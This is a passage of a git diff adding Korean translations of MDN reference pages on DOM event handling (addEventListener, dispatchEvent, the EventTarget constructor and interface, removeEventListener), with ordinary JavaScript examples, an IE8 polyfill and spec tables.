그런 다음 문제의 옵션을 사용하는 실제 이벤트 리스너를 만들려면 다음과 같이 쓸 수 있습니다:

+ +
someElement.addEventListener("mouseup", handleMouseUp, passiveSupported
+                               ? { passive: true } : false);
+ +

여기에서는 {{event("mouseup")}} 이벤트에 대한 리스너를 someElement요소에 추가합니다.  새 번째 매개변수의 경우 passiveSupported가 true면, options 객체를 passive : true 로 설정합니다; 그렇지 않으면, 우리는 Boolean을 전달해야 함올 알고있습니다. useCapture 매개변수의 값으로 false 를 전달합니다.

+ +

원하는 경우 Modernizr 혹은 Detect It 과 같은 서드파티 라이브러리를 사용하여 이러한 테스트를 수행할 수 있습니다.

+ +

Web Incubator Community Group의 EventListenerOptions에 대한 기사에서 더 많은 것을 배울 수 있습니다.

+ +

예제

+ +

간단한 리스너 추가

+ +

이 예제는 addEventListener() 를 사용하여 요소에 대한 마우스 클릭을 감지하는 방법을 보여줍니다.

+ +

HTML

+ +
<table id="outside">
+    <tr><td id="t1">one</td></tr>
+    <tr><td id="t2">two</td></tr>
+</table>
+
+ +

JavaScript

+ +
// Function to change the content of t2
+function modifyText() {
+  var t2 = document.getElementById("t2");
+  if (t2.firstChild.nodeValue == "three") {
+    t2.firstChild.nodeValue = "two";
+  } else {
+    t2.firstChild.nodeValue = "three";
+  }
+}
+
+// add event listener to table
+var el = document.getElementById("outside");
+el.addEventListener("click", modifyText, false);
+
+ +

이 코드에서, modifyText() 는 addEventListener()를 사용하여 등록된 click 이벤트에 대한 리스너입니다. 테이블의 아무곳이나 클릭하더라도, 핸들러에서 버블링되고 modifyText() 가 실행됩니다.

+ +

결과

+ +

{{EmbedLiveSample('간단한_리스너_추가')}}

+ +

익명 함수와 이벤트 리스너

+ +

여기서는 익명 함수를 사용하여 매개 변수를 이벤트 리스너에 전달하는 방법을 살펴보겠습니다.

+ +

HTML

+ +
<table id="outside">
+    <tr><td id="t1">one</td></tr>
+    <tr><td id="t2">two</td></tr>
+</table>
+ +

JavaScript

+ +
// Function to change the content of t2
+function modifyText(new_text) {
+  var t2 = document.getElementById("t2");
+  t2.firstChild.nodeValue = new_text;
+}
+
+// Function to add event listener to table
+var el = document.getElementById("outside");
+el.addEventListener("click", function(){modifyText("four")}, false);
+
+ +

리스너는 코드를 캡슐화 하는 익명 함수입니다. 이 익명의 함수는 실제로 이벤트에 응답하는 책임이 있는 modifyText() 함수에 매개변수를 전달 할 수 있습니다.

+ +

Result

+ +

{{EmbedLiveSample('익명_함수와_이벤트_리스너')}}

+ +

화살표 함수와 이벤트 리스너

+ +

이 예제는 화살표 함수를 사용하여 구현된 간단한 이벤트 리스너를 보여줍니다. 

+ +

HTML

+ +
<table id="outside">
+    <tr><td id="t1">one</td></tr>
+    <tr><td id="t2">two</td></tr>
+</table>
+ +

JavaScript

+ +
// Function to change the content of t2
+function modifyText(new_text) {
+  var t2 = document.getElementById("t2");
+  t2.firstChild.nodeValue = new_text;
+}
+
+// Add event listener to table with an arrow function
+var el = document.getElementById("outside");
+el.addEventListener("click", () => { modifyText("four"); }, false);
+
+ +

결과

+ +

{{EmbedLiveSample('화살표_함수와_이벤트_리스너')}}

+ +

화살표 함수와 익명 함수는 유사하지만 서로 다른 this바인딩을 가집니다. 익명(모든 전통적인 자바스크립트 함수)는 그들 자신의 this 바인딩을 만들지만, 화살표 함수는 포함하고 있는 함수의 this바인딩을 상속합니다.

+ +

즉, 화살표 함수를 사용할 때 포함하고 있는 함수에서 사용중인 변수 및 상수를 이벤트 핸들러에서 사용할 수 있습니다.

+ +

옵션의 사용 예제

+ +

HTML

+ +
<div class="outer">
+    outer, once & none-once
+    <div class="middle" target="_blank">
+        middle, capture & none-capture
+        <a class="inner1" href="https://www.mozilla.org" target="_blank">
+            inner1, passive & preventDefault(which is not allowed)
+        </a>
+        <a class="inner2" href="https://developer.mozilla.org/" target="_blank">
+            inner2, none-passive & preventDefault(not open new page)
+        </a>
+    </div>
+</div>
+
+ +

CSS

+ +
    .outer, .middle, .inner1, .inner2 {
+        display:block;
+        width:520px;
+        padding:15px;
+        margin:15px;
+        text-decoration:none;
+    }
+    .outer{
+        border:1px solid red;
+        color:red;
+    }
+    .middle{
+        border:1px solid green;
+        color:green;
+        width:460px;
+    }
+    .inner1, .inner2{
+        border:1px solid purple;
+        color:purple;
+        width:400px;
+    }
+
+ +

JavaScript

+ +
    let outer  = document.getElementsByClassName('outer') [0];
+    let middle = document.getElementsByClassName('middle')[0];
+    let inner1 = document.getElementsByClassName('inner1')[0];
+    let inner2 = document.getElementsByClassName('inner2')[0];
+
+    let capture = {
+        capture : true
+    };
+    let noneCapture = {
+        capture : false
+    };
+    let once = {
+        once : true
+    };
+    let noneOnce = {
+        once : false
+    };
+    let passive = {
+        passive : true
+    };
+    let nonePassive = {
+        passive : false
+    };
+
+
+    outer.addEventListener('click', onceHandler, once);
+    outer.addEventListener('click', noneOnceHandler, noneOnce);
+    middle.addEventListener('click', captureHandler, capture);
+    middle.addEventListener('click', noneCaptureHandler, noneCapture);
+    inner1.addEventListener('click', passiveHandler, passive);
+    inner2.addEventListener('click', nonePassiveHandler, nonePassive);
+
+    function onceHandler(event)
+    {
+        alert('outer, once');
+    }
+    function noneOnceHandler(event)
+    {
+        alert('outer, none-once, default');
+    }
+    function captureHandler(event)
+    {
+        //event.stopImmediatePropagation();
+        alert('middle, capture');
+    }
+    function noneCaptureHandler(event)
+    {
+        alert('middle, none-capture, default');
+    }
+    function passiveHandler(event)
+    {
+        // Unable to preventDefault inside passive event listener invocation.
+        event.preventDefault();
+        alert('inner1, passive, open new page');
+    }
+    function nonePassiveHandler(event)
+    {
+        event.preventDefault();
+        //event.stopPropagation();
+        alert('inner2, none-passive, default, not open new page');
+    }
+
+ +

Result

+ +

옵션이 어떻게 작동하는지 보려면 각각 outer, middle, inner 컨테이너를 클릭해 보세요.

+ +

{{ EmbedLiveSample('옵션의_사용_예제', 600, 310, '', 'Web/API/EventTarget/addEventListener') }}

+ +

options 객체에서 특정 값을 사용하기 전에, 모든 브라우저의 모든 버전이 지원하는 것은 아니므로, 사용자의 브라우저가 해당 기능을 지원하는지 확인하는 것이 좋습니다. 자세한 내용은 {{anch("Safely detecting option support")}} 을 참조하세요.

+ +

Other notes

+ +

addEventListener를 사용하나요?

+ +

addEventListener() 는 W3C 에서 지정한 DOM에 이벤트 리스너를 등록하는 방법입니다. 장점은 다음과 같습니다:

+ + + +

대안으로, 이벤트 리스너를 등록하는 오래된 방법은 아래에 설명되어 있습니다.

+ +

이벤트 전달중에 리스너 추가

+ +

{{domxref("EventListener")}} 가 이벤트 처리중에 {{domxref("EventTarget")}}에 추가되었다면, 그 이벤트는 리스너를 트리거하지 않습니다. 그러나 동일한 리스너는 버블링 단계와 같은 이벤트 흐름의 나중 단계에서 트리거 될 수 있습니다. 

+ +

다수의 동일한 이벤트 리스너

+ +

만약 동일한 여러개의 EventListener 가 동일한 매개변수(parameter)로 동일한 EventTarget 에 등록되었다면, 중복된 항목(인스턴스)들은 버려집니다. EventListener는 두번 호출되지 않으며 {{domxref("EventTarget.removeEventListener", "removeEventListener()")}} 메서드를 사용해 직접 제거할 필요가 없습니다. 그러나 익명 함수를 핸들러로 사용할 때, 루프를 도는 경우가 있습니다. 이 경우 단순히 반복적으로 호출하는 동일한 소스 코드를 사용하여 이벤트를 등록하더라도, 익명 함수는 동일하지 않고 이 때문에 리스너 또한 동일하지 않습니다. 이와 같은 경우 동일한 함수를 반복적으로 정의하는 것이 더 문제가 될 수 있습니다. (아래의 메모리 문제를 참조하세요.)

+ +

핸들러 내부의 this 값

+ +

유사한 요소 집합에 대한 일반적인 핸들러를 사용할 때와 같이, 이벤트 핸들러가 동작한 엘리먼트를 참조하는것이 좋습니다.

+ +

addEventListener() 를 사용하여 핸들러 함수를 요소에 연결하면, 핸들러 내부의 this 값은 요소에 대한 참조입니다. 이것은 핸들러에 전달 된 이벤트 인수(아규먼트)의 currentTarget 속성(프로퍼티)값과 같습니다.

+ +
my_element.addEventListener('click', function (e) {
+  console.log(this.className)           // logs the className of my_element
+  console.log(e.currentTarget === this) // logs `true`
+})
+
+ +

다시 말해, 화살표 함수에는 this 컨텍스트가 없습니다.

+ +
my_element.addEventListener('click', (e) => {
+  console.log(this.className)           // WARNING: `this` is not `my_element`
+  console.log(e.currentTarget === this) // logs `false`
+})
+ +

HTML 소스의 요소(element)에 이벤트 핸들러(예: onclick)가 지정된 경우, 속성 값(attribute value)의 자바스크립트 코드는 효과적으로 addEventListener() 에 따라  this값을 바인드하는 핸들러 함수로 래핑됩니다. 코드 내에서 this가 발생하면 요소에 대한 참조를 나타냅니다.

+ +
<table id="my_table" onclick="console.log(this.id);"><!-- `this` refers to the table; logs 'my_table' -->
+  ...
+</table>
+
+ +

속성 값(attribute value)의 코드에 의해 호출 된 함수 내부의 this 는 표준 규칙들에 따라 동작합니다. 다음은 그 예입니다.

+ +
<script>
+  function logID() { console.log(this.id); }
+</script>
+<table id="my_table" onclick="logID();"><!-- when called, `this` will refer to the global object -->
+  ...
+</table>
+
+
+ +

logID() 내의 this 값은 {{domxref("Window")}} 전역 객체에 대한 참조입니다. (혹은 strict mode 의 경우 undefined입니다.)

+ +

bind()를 사용하여 this지정하기

+ +

Function.prototype.bind() 메서드를 사용하면 지정한 함수에 대한 모든 호출에 대해 this 값으로 사용해야 하는 값을 지정할 수 있습니다. 이를 이용하여 함수가 호출 된 컨텍스트에 따라 this 가 무엇인지 명확하지 않은 문제를 쉽게 우회할 수 있습니다. 그러나 나중에 제거할 수 있도록, 주위에 리스너에 대한 참조를 유지해야 합니다.

+ +

다음은 bind() 를 사용한, 사용하지 않은 예제입니다 :

+ +
var Something = function(element) {
+  // |this| is a newly created object
+  this.name = 'Something Good';
+  this.onclick1 = function(event) {
+    console.log(this.name); // undefined, as |this| is the element
+  };
+  this.onclick2 = function(event) {
+    console.log(this.name); // 'Something Good', as |this| is bound to newly created object
+  };
+  element.addEventListener('click', this.onclick1, false);
+  element.addEventListener('click', this.onclick2.bind(this), false); // Trick
+}
+var s = new Something(document.body);
+
+ +

또 다른 해결책은 handleEvent()라는 특수 함수를 사용하여 어떤 이벤트를 캐치 하는것입니다 :

+ +
var Something = function(element) {
+  // |this| is a newly created object
+  this.name = 'Something Good';
+  this.handleEvent = function(event) {
+    console.log(this.name); // 'Something Good', as this is bound to newly created object
+    switch(event.type) {
+      case 'click':
+        // some code here...
+        break;
+      case 'dblclick':
+        // some code here...
+        break;
+    }
+  };
+
+  // Note that the listeners in this case are |this|, not this.handleEvent
+  element.addEventListener('click', this, false);
+  element.addEventListener('dblclick', this, false);
+
+  // You can properly remove the listeners
+  element.removeEventListener('click', this, false);
+  element.removeEventListener('dblclick', this, false);
+}
+var s = new Something(document.body);
+
+ +

this에 대한 참조를 처리하는 또 다른 방법은, EventListener 에 함수를 전달하는 것입니다. 이 함수는 접근을 필요로 하는 필드가 들어있는, 객체의 메서드를 호출하는 함수입니다:

+ +
class SomeClass {
+
+  constructor() {
+    this.name = 'Something Good';
+  }
+
+  register() {
+    var that = this;
+    window.addEventListener('keydown', function(e) {return that.someMethod(e);});
+  }
+
+  someMethod(e) {
+    console.log(this.name);
+    switch(e.keyCode) {
+      case 5:
+        // some code here...
+        break;
+      case 6:
+        // some code here...
+        break;
+    }
+  }
+
+}
+
+var myObject = new SomeClass();
+myObject.register();
+ +

오래된 인터넷 익스플로러와 attachEvent

+ +

인터넷 익스플로러 9 이전 버전에서는, 표준 addEventListener() 가 아닌 {{domxref("EventTarget.attachEvent", "attachEvent()")}}를 사용해야 합니다. IE의 경우 위의 예제를 다음과 같이 수정합니다:

+ +
if (el.addEventListener) {
+  el.addEventListener('click', modifyText, false);
+} else if (el.attachEvent)  {
+  el.attachEvent('onclick', modifyText);
+}
+
+ +

attachEvent()의 단점은 다음과 같습니다: this의 값이 이벤트가 바인드되어 있는 요소 대신에, window객체에 대한 참조가 됩니다.

+ +

attachEvent() 메서드는 onresize 이벤트와 쌍을 이루어 웹 페이지의 특정 요소의 크기가 리사이징 되는 시점을 감지할 수 있습니다. mselementresize 라는 독점적인 이벤트는, 이벤트 핸들러를 등록하는 addEventListener 메서드와 함께 사용할 때 onresize와 유사한 기능을 제공하여, 특정 HTML 요소의 크기를 리사이징 할 때 실행됩니다.

+ +

호환성

+ +

스크립트 시작 부분에 다음 코드를 사용하여, 인터넷 익스플로러 8 에서 지원하지 않는 addEventListener(), removeEventListener(), {{domxref("Event.preventDefault()")}}, {{domxref("Event.stopPropagation()")}} 을 해결할 수 있습니다. 이 코드는 handleEvent()와 {{event("DOMContentLoaded")}} 이벤트에 대한 사용을 지원합니다.

+ +
+

참고: IE8 에서는 useCapture를 지원할 수 있는 다른 방법이 없습니다. 다음의 코드는 IE8 지원만 추가합니다. 이 IE8 폴리필은 표준 모드에서만 작동합니다: doctype 선언이 필요합니다.

+
+ +
(function() {
+  if (!Event.prototype.preventDefault) {
+    Event.prototype.preventDefault=function() {
+      this.returnValue=false;
+    };
+  }
+  if (!Event.prototype.stopPropagation) {
+    Event.prototype.stopPropagation=function() {
+      this.cancelBubble=true;
+    };
+  }
+  if (!Element.prototype.addEventListener) {
+    var eventListeners=[];
+
+    var addEventListener=function(type,listener /*, useCapture (will be ignored) */) {
+      var self=this;
+      var wrapper=function(e) {
+        e.target=e.srcElement;
+        e.currentTarget=self;
+        if (typeof listener.handleEvent != 'undefined') {
+          listener.handleEvent(e);
+        } else {
+          listener.call(self,e);
+        }
+      };
+      if (type=="DOMContentLoaded") {
+        var wrapper2=function(e) {
+          if (document.readyState=="complete") {
+            wrapper(e);
+          }
+        };
+        document.attachEvent("onreadystatechange",wrapper2);
+        eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper2});
+
+        if (document.readyState=="complete") {
+          var e=new Event();
+          e.srcElement=window;
+          wrapper2(e);
+        }
+      } else {
+        this.attachEvent("on"+type,wrapper);
+        eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper});
+      }
+    };
+    var removeEventListener=function(type,listener /*, useCapture (will be ignored) */) {
+      var counter=0;
+      while (counter<eventListeners.length) {
+        var eventListener=eventListeners[counter];
+        if (eventListener.object==this && eventListener.type==type && eventListener.listener==listener) {
+          if (type=="DOMContentLoaded") {
+            this.detachEvent("onreadystatechange",eventListener.wrapper);
+          } else {
+            this.detachEvent("on"+type,eventListener.wrapper);
+          }
+          eventListeners.splice(counter, 1);
+          break;
+        }
+        ++counter;
+      }
+    };
+    Element.prototype.addEventListener=addEventListener;
+    Element.prototype.removeEventListener=removeEventListener;
+    if (HTMLDocument) {
+      HTMLDocument.prototype.addEventListener=addEventListener;
+      HTMLDocument.prototype.removeEventListener=removeEventListener;
+    }
+    if (Window) {
+      Window.prototype.addEventListener=addEventListener;
+      Window.prototype.removeEventListener=removeEventListener;
+    }
+  }
+})();
+ +

이벤트 리스너를 등록하는 고전적인 방법

+ +

addEventListener()는 DOM 2 Events 명세와 함께 도입되었습니다. 그 전에는 다음과 같이 이벤트 리스너를 등록했습니다:

+ +
// Passing a function reference ? do not add '()' after it, which would call the function!
+el.onclick = modifyText;
+
+// Using a function expression
+element.onclick = function() {
+  // ... function logic ...
+};
+
+ +

This 이 메서드는 요소의 기존 click 이벤트 리스너가 있을 경우에, 그것을 대체합니다. blur (onblur) 및 keypress (onkeypress) 와 같은 다른 이벤트 및 이벤트 핸들러도 비슷하게 작동합니다.

+ +

이것은 본질적으로 {{glossary("DOM", "DOM 0")}}의 일부였기 때문에, 이벤트 리스너를 추가하는데 매우 광범위하게 지원되며 특별한 크로스 브라우징 코드가 필요하지 않습니다. 이것은 일반적으로 addEventListener()의 추가 기능이 필요하지 않으면, 이벤트 리스너를 동적으로 등록하는데 사용합니다.

+ +

메모리 이슈

+ +
var i;
+var els = document.getElementsByTagName('*');
+
+// Case 1
+for(i=0 ; i<els.length ; i++){
+  els[i].addEventListener("click", function(e){/*do something*/}, false);
+}
+
+// Case 2
+function processEvent(e){
+  /*do something*/
+}
+
+for(i=0 ; i<els.length ; i++){
+  els[i].addEventListener("click", processEvent, false);
+}
+
+ +

위의 첫 번째 경우, 루프의 각 반복마다 새로운 익명 핸들러 함수가 생성됩니다. 두 번째 경우에는 이전에 선언한 동일한 함수를 이벤트 핸들러로 사용하므로, 메모리 소비가 줄어듭니다. 또한 첫 번째 경우에는 removeEventListener()를 호출할 수 없습니다. 익명 함수에 대한 참조가 유지되지 않기 때문입니다.(루프가 생성할 수 있는 여러개의 익명 함수 중 하나에 보관되지 않습니다) 두 번째 경우에는 processEvent가 함수 참조이기 때문에, myElement.removeEventListener("click", processEvent, false)를 수행할 수 있습니다.

+ +

사실, 메모리 소비와 관련하여, 함수 참조를 유지하는 것은 진짜 문제가 아닙니다. 오히려 정적 함수 참조를 유지하는 것이 부족합니다. 아래의 두 경우(3,4번째 케이스) 모두 함수 참조가 유지되지만, 각 반복에서 재정의 되므로 정적이 아닙니다. 세 번째 경우에는 익명 함수에 대한 참조가, 반복될 때 마다 다시 할당됩니다. 네 번째 경우에는 전체 함수 정의가 변경되지 않지만, 새로운 것처럼(컴파일러에 의해 [[promoted]]되지 않는 한) 반복적으로 정의되고 있고 그래서 정적이지 않습니다. 따라서 간단하게 [[여러개의 동일한 이벤트 리스너]]인 것처럼 보이지만, 두 경우 모두 각 반복은 핸들러 함수에 대한 고유한 참조로 새로운 리스너를 생성합니다. 그러나 함수 정의 자체는 변경되지 않으므로, 모든 중복 리스너에 대해 같은 함수가 여전히 호출될 수 있습니다.(특히 코드가 최적화되는 경우)

+ +

또한 두 경우 모두 함수 참조가 유지되었지만, 각 가산에 대해 반복적으로 재정의 되었습니다. 위에서 사용했던 remove 문(statement)으로는 리스너를 제거할 수 있지만, 마지막으로 추가한 리스너만 제거됩니다.

+ +
// For illustration only: Note "MISTAKE" of [j] for [i] thus causing desired events to all attach to SAME element
+
+// Case 3
+for(var i=0, j=0 ; i<els.length ; i++){
+  /*do lots of stuff with j*/
+  els[j].addEventListener("click", processEvent = function(e){/*do something*/}, false);
+}
+
+// Case 4
+for(var i=0, j=0 ; i<els.length ; i++){
+  /*do lots of stuff with j*/
+  function processEvent(e){/*do something*/};
+  els[j].addEventListener("click", processEvent, false);
+}
+ +

passive 리스너로 스크롤링 성능 향상

+ +

명세에 따르면, passive option의 기본값은 항상 false 입니다. 그러나 이것은 이벤트 리스너가 특정 터치 이벤트를 처리하는 경우(다른 이벤트를 포함하여), 스크롤을 처리하는 동안 브라우저의 메인 스레드를 차단하기 때문에, 스크롤 처리 시 성능이 크게 저하될 수 있습니다.

+ +

이러한 문제를 방지하기 위하여, 일부 브라우저(특히 크롬과 파이어폭스)는 document-level nodes인 {{domxref("Window")}}, {{domxref("Document")}}, {{domxref("Document.body")}}의 경우 {{event("touchstart")}} 와{{event("touchmove")}} 이벤트에 대해 passive 옵션의 기본값을 true로 변경했습니다. 이렇게 하면 이벤트 리스너가 호출되지 않으므로, 사용자가 스크롤 하는 동안 페이지 렌더링을 차단할 수 없습니다.

+ +
+

참고: 이 변경된 동작을 구현하는 브라우저(혹은 브라우저의 버전)을 알아야 할 경우 아래의 호환성 표를 참조하세요.

+
+ +

다음과 같이 passive의 값을 명시적으로 false로 설정을 오버라이드 하여 이 동작을 무시할 수 있습니다:

+ +
/* Feature detection */
+var passiveIfSupported = false;
+
+try {
+  window.addEventListener("test", null, Object.defineProperty({}, "passive", { get: function() { passiveIfSupported = { passive: true }; } }));
+} catch(err) {}
+
+window.addEventListener('scroll', function(event) {
+  /* do something */
+  // can't use event.preventDefault();
+}, passiveIfSupported );
+
+ +

addEventListener()에 대한 options 매개변수를 지원하지 않는 이전 브라우저에서는, feature detection를 사용하지 않고는 useCapture 인수를 사용하지 못하도록 해야 합니다.

+ +

{{event("scroll")}} 이벤트의 기본 passive 값에 대해 걱정할 필요는 없습니다. 취소할 수 없기 때문에, 이벤트 리스너는 페이지 렌더링을 차단할 수 없습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}{{Spec2("DOM WHATWG")}} 
{{SpecName("DOM4", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}{{Spec2("DOM4")}} 
{{SpecName("DOM2 Events", "#Events-EventTarget-addEventListener", "EventTarget.addEventListener()")}}{{Spec2("DOM2 Events")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.EventTarget.addEventListener", 3)}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/eventtarget/dispatchevent/index.html b/files/ko/web/api/eventtarget/dispatchevent/index.html new file mode 100644 index 0000000000..327813fde6 --- /dev/null +++ b/files/ko/web/api/eventtarget/dispatchevent/index.html @@ -0,0 +1,79 @@ +--- +title: EventTarget.dispatchEvent() +slug: Web/API/EventTarget/dispatchEvent +tags: + - API + - DOM + - DOM 엘리먼트 메소드 + - Gecko + - 메소드 +translation_of: Web/API/EventTarget/dispatchEvent +--- +

{{APIRef("DOM Events")}}

+ +

영향을 받는 {{domxref("EventListener")}} 를 적절한 순서로 호출하는 지정된 {{domxref("EventTarget")}} 에서 {{domxref("Event")}} 를 (동기적으로) 디스패치합니다. 일반 이벤트 처리 규칙(capturing 과 선택적인 bubbling 단계를 포함해)은 dispatchEvent() 를 사용하여 수동으로 전달 된 이벤트에도 적용됩니다.

+ +

구문

+ +
cancelled = !target.dispatchEvent(event)
+
+ +

파라미터

+ + + +

반환 값

+ + + +

dispatchEvent 메서드는 그 이벤트의 타입이 메서드의 호출이전에 초기화되지 않았을 경우 UNSPECIFIED_EVENT_TYPE_ERR 에러를 발생시킵니다. 또는 이벤트의 타입이 null 이거나 공백 스트링을 경우에도 같은 에러를 발생시킵니다. 이벤트 핸들러에 의해 발생한 이벤트는 잡히지 않은 예외(uncaugt exceptions)로 보고가 되며 이벤트 핸들러는 내부 콜스택(nested callstack)에서 실행이 됩니다. 이는 곧 완료가 될 때까지 호출자(caller)를 막는 다는 뜻이고 예외들이 호출자(caller)에게 전파(propagate)되지 않음을 말합니다. 

+ +

노트

+ +

DOM에 의해 시작되고 이벤트 루프를 통해 이벤트 핸들러를 비동기 적으로 호출하는 "네이티브" 이벤트와 달리 dispatchEvent 는 이벤트 핸들러를 동기적으로 호출합니다. dispatchEvent 를 호출 한 후 코드가 계속되기 전에 모든 해당 이벤트 핸들러가 실행되고 리턴됩니다.

+ +

implementation's 이벤트 모델의 디스패치 이벤트에 사용되는 create-init-dispatch 프로세스의 마지막 단계입니다. 이벤트는 Event 생성자를 사용하여 만들 수 있습니다.

+ +

Event 객체 레퍼런스도 한번 확인해 보세요

+ +

예시

+ +

이벤트 생성 및 트리거 문서를 확인하세요.

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#dom-eventtarget-dispatchevent', 'EventTarget.dispatchEvent()')}}{{ Spec2('DOM WHATWG') }}DOM 2 Events 명세의 초기 정의.
+ +

브라우저 호환성

+ +

 

+ + + +

 

+ +

{{Compat("api.EventTarget.dispatchEvent")}}

+ +

 

diff --git a/files/ko/web/api/eventtarget/eventtarget/index.html b/files/ko/web/api/eventtarget/eventtarget/index.html new file mode 100644 index 0000000000..054c831826 --- /dev/null +++ b/files/ko/web/api/eventtarget/eventtarget/index.html @@ -0,0 +1,70 @@ +--- +title: EventTarget() +slug: Web/API/EventTarget/EventTarget +translation_of: Web/API/EventTarget/EventTarget +--- +
{{APIRef("DOM Events")}}
+ +

EventTarget() 생성자는 새로운 {{domxref("EventTarget")}} 객체 인스턴스를 만듭니다.

+ +

Syntax

+ +
var myEventTarget = new EventTarget();
+ +

Parameters

+ +

None.

+ +

Return value

+ +

{{domxref("EventTarget")}} 객체의 인스턴스를 반환합니다.

+ +

Examples

+ +
class MyEventTarget extends EventTarget {
+  constructor(mySecret) {
+    super();
+    this._secret = mySecret;
+  }
+
+  get secret() { return this._secret; }
+};
+
+let myEventTarget = new MyEventTarget(5);
+let value = myEventTarget.secret;  // == 5
+myEventTarget.addEventListener("foo", function(e) {
+  this._secret = e.detail;
+});
+
+let event = new CustomEvent("foo", { detail: 7 });
+myEventTarget.dispatchEvent(event);
+let newValue = myEventTarget.secret; // == 7
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-eventtarget-eventtarget', 'EventTarget() constructor')}}{{Spec2('DOM WHATWG')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.EventTarget.EventTarget")}}

+ +

See also

+ + diff --git a/files/ko/web/api/eventtarget/index.html b/files/ko/web/api/eventtarget/index.html new file mode 100644 index 0000000000..5addf5b9d6 --- /dev/null +++ b/files/ko/web/api/eventtarget/index.html @@ -0,0 +1,133 @@ +--- +title: EventTarget +slug: Web/API/EventTarget +tags: + - API + - DOM + - DOM Events + - EventTarget + - Interface + - Reference +translation_of: Web/API/EventTarget +--- +
{{ApiRef("DOM Events")}}
+ +

EventTarget은 이벤트를 받을 수 있으며, 이벤트에 대한 수신기(listener)를 가질 수 있는 객체가 구현하는 DOM 인터페이스입니다.

+ +

{{domxref("Element")}}, {{domxref("document")}} 및 {{domxref("window")}}가 가장 흔한 이벤트 대상이지만, 다른 객체, 예컨대 {{domxref("XMLHttpRequest")}}, {{domxref("AudioNode")}}, {{domxref("AudioContext")}} 등 역시 이벤트 대상이 될 수 있습니다.

+ +

많은 이벤트 대상(요소, 문서, 창, ...)은 onevent 속성과 특성을 사용한 이벤트 처리기 등록도 지원합니다.

+ +

{{InheritanceDiagram}}

+ +

생성자

+ +
+
{{domxref("EventTarget.EventTarget()", "EventTarget()")}}
+
새로운 EventTarget 객체 인스턴스를 생성합니다.
+
+ +

메서드

+ +
+
{{domxref("EventTarget.addEventListener()")}}
+
EventTarget에 특정 이벤트 유형의 이벤트 처리기를 등록합니다.
+
{{domxref("EventTarget.removeEventListener()")}}
+
EventTarget에서 주어진 이벤트 수신기를 제거합니다.
+
{{domxref("EventTarget.dispatchEvent()")}}
+
EventTarget에 이벤트를 디스패치 합니다.
+
+ + + +

예제

+ +

간단한 EventTarget 구현

+ +
var EventTarget = function() {
+  this.listeners = {};
+};
+
+EventTarget.prototype.listeners = null;
+EventTarget.prototype.addEventListener = function(type, callback) {
+  if (!(type in this.listeners)) {
+    this.listeners[type] = [];
+  }
+  this.listeners[type].push(callback);
+};
+
+EventTarget.prototype.removeEventListener = function(type, callback) {
+  if (!(type in this.listeners)) {
+    return;
+  }
+  var stack = this.listeners[type];
+  for (var i = 0, l = stack.length; i < l; i++) {
+    if (stack[i] === callback){
+      stack.splice(i, 1);
+      return;
+    }
+  }
+};
+
+EventTarget.prototype.dispatchEvent = function(event) {
+  if (!(event.type in this.listeners)) {
+    return true;
+  }
+  var stack = this.listeners[event.type].slice();
+
+  for (var i = 0, l = stack.length; i < l; i++) {
+    stack[i].call(this, event);
+  }
+  return !event.defaultPrevented;
+};
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('DOM WHATWG', '#interface-eventtarget', 'EventTarget')}}{{Spec2('DOM WHATWG')}}변화 없음.
{{SpecName('DOM3 Events', 'DOM3-Events.html#interface-EventTarget', 'EventTarget')}}{{Spec2('DOM3 Events')}}매개변수 약간이 이제 선택사항(listener) 또는 null 값을 받아들임(useCapture).
{{SpecName('DOM2 Events', 'events.html#Events-EventTarget', 'EventTarget')}}{{Spec2('DOM2 Events')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.EventTarget")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/eventtarget/removeeventlistener/index.html b/files/ko/web/api/eventtarget/removeeventlistener/index.html new file mode 100644 index 0000000000..d81a32e8c9 --- /dev/null +++ b/files/ko/web/api/eventtarget/removeeventlistener/index.html @@ -0,0 +1,211 @@ +--- +title: EventTarget.removeEventListener() +slug: Web/API/EventTarget/removeEventListener +translation_of: Web/API/EventTarget/removeEventListener +--- +

{{APIRef("DOM Events")}}

+ +

EventTarget.removeEventListener() 메서드는 이전에{{domxref("EventTarget.addEventListener()")}}로 {{domxref("EventTarget")}} 에 등록했던 이벤트 리스너를 제거합니다. 이 이벤트 리스너는 이벤트 종류와 이벤트 리스너 함수 자체의 조합으로 식별되어 제거되며, 등록시 제공했던 다양한 옵션과 일치하는 이벤트 리스너만 제거할 수 있습니다.  {{anch("Matching event listeners for removal")}}를 참고하세요.

+ +

Syntax

+ +
target.removeEventListener(type, listener[, options]);
+target.removeEventListener(type, listener[, useCapture]);
+ +

Parameters

+ +
+
type
+
제거할 이벤트 리스너의 이벤트 타입을 지정합니다.
+
listener
+
이벤트 타깃에서 제거할 이벤트 핸들러 함수, {{domxref("EventListener")}}를 지정합니다.
+
options {{optional_inline}}
+
이벤트 리스너에 대한 특징, 즉 제거할 이벤트 리스너의 옵션들을 지정합니다. 지정할 수 있는 옵션들은 아래와 같습니다. +
    +
  • capture: 이 이벤트 타입의 이벤트들이 DOM 트리 내 모든 어떤 EventTarget 에 디스패치되기 전에  등록된 listener 들을 먼저 처리하도록 만들지 말지를 결정하는 {{jsxref("Boolean")}} 값.
  • +
  • {{non-standard_inline}} mozSystemGroup: Available only in code running in XBL or in Firefox' chrome, it is a {{jsxref("Boolean")}} defining if the listener is added to the system group. (비표준)
  • +
+
+
useCapture {{optional_inline}}
+
Specifies whether the {{domxref("EventListener")}} to be removed is registered as a capturing listener or not. If this parameter is absent, a default value of false is assumed.
+
If a listener is registered twice, one with capture and one without, remove each one separately. Removal of a capturing listener does not affect a non-capturing version of the same listener, and vice versa.
+
+ +

Return value

+ +

undefined.

+ +

Matching event listeners for removal

+ +

